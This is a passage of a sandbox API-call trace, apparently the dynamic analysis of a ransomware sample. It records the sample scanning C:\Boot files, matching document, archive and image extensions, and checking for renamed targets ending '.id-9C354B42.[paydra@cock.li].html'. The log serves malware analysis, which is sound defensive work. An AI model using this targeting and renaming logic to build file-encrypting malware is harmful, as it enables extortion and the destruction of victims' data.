lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x150 [0062.443] GetLastError () returned 0x0 [0062.443] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xc18a, lpOverlapped=0x0) returned 1 [0062.556] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xc190, lpOverlapped=0x0) returned 1 [0062.558] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.558] WriteFile (in: hFile=0x150, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.558] SetEndOfFile (hFile=0x150) Thread: id = 10 os_tid = 0x9d4 [0032.687] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x550530 [0032.687] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x560538 [0032.688] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002a0 [0032.688] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x4ea388 [0032.688] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002b8 [0032.688] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3630020 [0032.688] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002d0 [0032.688] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5002d0, Size=0x20) returned 0x4e5c78 [0032.688] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002d0 [0032.688] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5002d0, Size=0x20) returned 0x4e5ca0 [0032.688] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.688] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.688] Wow64DisableWow64FsRedirection (in: OldValue=0x2b1ff58 | out: OldValue=0x2b1ff58*=0x0) returned 1 [0032.688] lstrlenW (lpString="kernel32.dll") returned 12 [0032.688] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.688] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.688] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.689] Sleep (dwMilliseconds=0x64) [0032.964] Sleep (dwMilliseconds=0x64) [0033.123] lstrlenW (lpString="BCD") returned 3 [0033.123] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.611] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.611] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.611] lstrlenW (lpString=".doc") returned 4 [0033.611] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString=".docx") returned 5 [0033.611] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0033.611] lstrlenW (lpString=".pdf") returned 4 [0033.611] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString=".xls") returned 4 [0033.611] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString=".xlsx") returned 5 [0033.611] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0033.611] lstrlenW (lpString=".ppt") returned 4 [0033.611] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.611] lstrlenW (lpString=".zip") returned 4 [0033.611] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString=".rar") returned 4 [0033.611] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString=".bz2") returned 4 [0033.611] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString=".7z") returned 3 [0033.611] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.611] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.611] lstrlenW (lpString=".dbf") returned 4 [0033.611] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0033.611] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.611] lstrlenW (lpString=".1cd") returned 4 [0033.612] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.612] lstrlenW (lpString=".jpg") returned 4 [0033.612] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.612] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.612] lstrlenW (lpString=".doc") returned 4 [0033.612] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString=".docx") returned 5 [0033.612] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0033.612] lstrlenW (lpString=".pdf") returned 4 [0033.612] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString=".xls") returned 4 [0033.612] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString=".xlsx") returned 5 [0033.612] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0033.612] lstrlenW (lpString=".ppt") returned 4 [0033.612] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.612] lstrlenW (lpString=".zip") returned 4 [0033.612] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString=".rar") returned 4 [0033.612] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString=".bz2") returned 4 [0033.612] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString=".7z") returned 3 [0033.612] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.612] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.612] lstrlenW (lpString=".dbf") returned 4 [0033.612] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0033.612] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.612] lstrlenW (lpString=".1cd") returned 4 [0033.613] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0033.613] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.613] lstrlenW (lpString=".jpg") returned 4 [0033.613] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0033.613] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.613] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.613] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.613] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=87616) returned 1 [0033.613] CloseHandle (hObject=0x178) returned 1 [0033.613] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0033.613] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.613] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.613] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.613] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.613] lstrlenW (lpString=".doc") returned 4 [0033.613] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.614] lstrlenW (lpString=".docx") returned 5 [0033.614] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.614] lstrlenW (lpString=".pdf") returned 4 [0033.614] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.614] lstrlenW (lpString=".xls") returned 4 [0033.614] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.614] lstrlenW (lpString=".xlsx") returned 5 [0033.614] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.614] lstrlenW (lpString=".ppt") returned 4 [0033.614] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.614] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.614] lstrlenW (lpString=".zip") returned 4 [0033.614] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.614] lstrlenW (lpString=".rar") returned 4 [0033.614] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.614] lstrlenW (lpString=".bz2") returned 4 [0033.614] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.614] lstrlenW (lpString=".7z") returned 3 [0033.614] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.614] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.614] lstrlenW (lpString=".dbf") returned 4 [0033.614] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.614] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.614] lstrlenW (lpString=".1cd") returned 4 [0033.614] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.614] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.614] lstrlenW (lpString=".jpg") returned 4 [0033.614] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.614] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.614] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.614] lstrlenW (lpString=".doc") returned 4 [0033.614] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.614] lstrlenW (lpString=".docx") returned 5 [0033.615] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.615] lstrlenW (lpString=".pdf") returned 4 [0033.615] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.615] lstrlenW (lpString=".xls") returned 4 [0033.615] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.615] lstrlenW (lpString=".xlsx") returned 5 [0033.615] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.615] lstrlenW (lpString=".ppt") returned 4 [0033.615] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.615] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.615] lstrlenW (lpString=".zip") returned 4 [0033.615] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.615] lstrlenW (lpString=".rar") returned 4 [0033.615] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.615] lstrlenW (lpString=".bz2") returned 4 [0033.615] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.615] lstrlenW (lpString=".7z") returned 3 [0033.615] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.615] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.615] lstrlenW (lpString=".dbf") returned 4 [0033.615] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.615] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.615] lstrlenW (lpString=".1cd") returned 4 [0033.615] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.615] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.615] lstrlenW (lpString=".jpg") returned 4 [0033.615] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.615] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.615] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.616] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.616] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=91712) returned 1 [0033.616] CloseHandle (hObject=0x178) returned 1 [0033.616] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0033.616] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.616] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.616] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.616] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.616] lstrlenW (lpString=".doc") returned 4 [0033.616] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.616] lstrlenW (lpString=".docx") returned 5 [0033.616] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.616] lstrlenW (lpString=".pdf") returned 4 [0033.616] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.616] lstrlenW (lpString=".xls") returned 4 [0033.616] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.616] lstrlenW (lpString=".xlsx") returned 5 [0033.616] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.616] lstrlenW (lpString=".ppt") returned 4 [0033.616] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.616] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.616] lstrlenW (lpString=".zip") returned 4 [0033.616] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.617] lstrlenW (lpString=".rar") returned 4 [0033.617] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.617] lstrlenW (lpString=".bz2") returned 4 [0033.617] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.617] lstrlenW (lpString=".7z") returned 3 [0033.617] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.617] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.617] lstrlenW (lpString=".dbf") returned 4 [0033.617] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.617] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.617] lstrlenW (lpString=".1cd") returned 4 [0033.617] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.617] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.617] lstrlenW (lpString=".jpg") returned 4 [0033.617] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.617] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.617] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.617] lstrlenW (lpString=".doc") returned 4 [0033.617] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.617] lstrlenW (lpString=".docx") returned 5 [0033.617] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.617] lstrlenW (lpString=".pdf") returned 4 [0033.617] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.617] lstrlenW (lpString=".xls") returned 4 [0033.617] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.617] lstrlenW (lpString=".xlsx") returned 5 [0033.617] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.618] lstrlenW (lpString=".ppt") returned 4 [0033.618] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.618] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.618] lstrlenW (lpString=".zip") returned 4 [0033.618] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.618] lstrlenW (lpString=".rar") returned 4 [0033.618] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.618] lstrlenW (lpString=".bz2") returned 4 [0033.618] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.618] lstrlenW (lpString=".7z") returned 3 [0033.618] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.618] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.618] lstrlenW (lpString=".dbf") returned 4 [0033.618] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.618] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.618] lstrlenW (lpString=".1cd") returned 4 [0033.618] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.618] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.618] lstrlenW (lpString=".jpg") returned 4 [0033.618] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.618] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.618] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.618] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.619] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=94800) returned 1 [0033.619] CloseHandle (hObject=0x178) returned 1 [0033.619] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0033.619] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.619] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.619] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.619] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.619] lstrlenW (lpString=".doc") returned 4 [0033.619] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.619] lstrlenW (lpString=".docx") returned 5 [0033.619] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.619] lstrlenW (lpString=".pdf") returned 4 [0033.619] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.619] lstrlenW (lpString=".xls") returned 4 [0033.619] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.619] lstrlenW (lpString=".xlsx") returned 5 [0033.619] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.619] lstrlenW (lpString=".ppt") returned 4 [0033.619] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.619] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.619] lstrlenW (lpString=".zip") returned 4 [0033.619] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.619] lstrlenW (lpString=".rar") returned 4 [0033.619] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.619] lstrlenW (lpString=".bz2") returned 4 [0033.619] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.619] lstrlenW (lpString=".7z") returned 3 [0033.619] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.620] lstrlenW (lpString=".dbf") returned 4 [0033.620] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.620] lstrlenW (lpString=".1cd") returned 4 [0033.620] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.620] lstrlenW (lpString=".jpg") returned 4 [0033.620] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.620] lstrlenW (lpString=".doc") returned 4 [0033.620] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.620] lstrlenW (lpString=".docx") returned 5 [0033.620] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.620] lstrlenW (lpString=".pdf") returned 4 [0033.620] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.620] lstrlenW (lpString=".xls") returned 4 [0033.620] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.620] lstrlenW (lpString=".xlsx") returned 5 [0033.620] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.620] lstrlenW (lpString=".ppt") returned 4 [0033.620] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.620] lstrlenW (lpString=".zip") returned 4 [0033.620] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.620] lstrlenW (lpString=".rar") returned 4 [0033.620] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.620] lstrlenW (lpString=".bz2") returned 4 [0033.620] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.620] lstrlenW (lpString=".7z") returned 3 [0033.620] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.620] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.621] lstrlenW (lpString=".dbf") returned 4 [0033.621] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.621] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.621] lstrlenW (lpString=".1cd") returned 4 [0033.621] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.621] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.621] lstrlenW (lpString=".jpg") returned 4 [0033.621] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.621] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.621] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.621] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.621] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=85056) returned 1 [0033.621] CloseHandle (hObject=0x178) returned 1 [0033.621] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0033.621] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.621] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.621] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.621] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.621] lstrlenW (lpString=".doc") returned 4 [0033.622] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.622] lstrlenW (lpString=".docx") returned 5 [0033.622] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.622] lstrlenW (lpString=".pdf") returned 4 [0033.622] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.622] lstrlenW (lpString=".xls") returned 4 [0033.622] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.622] lstrlenW (lpString=".xlsx") returned 5 [0033.622] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.622] lstrlenW (lpString=".ppt") returned 4 [0033.622] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.622] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.622] lstrlenW (lpString=".zip") returned 4 [0033.622] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.622] lstrlenW (lpString=".rar") returned 4 [0033.622] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.622] lstrlenW (lpString=".bz2") returned 4 [0033.622] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.622] lstrlenW (lpString=".7z") returned 3 [0033.622] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.622] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.622] lstrlenW (lpString=".dbf") returned 4 [0033.622] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.622] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.622] lstrlenW (lpString=".1cd") returned 4 [0033.622] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.622] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.622] lstrlenW (lpString=".jpg") returned 4 [0033.622] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.622] lstrlenW 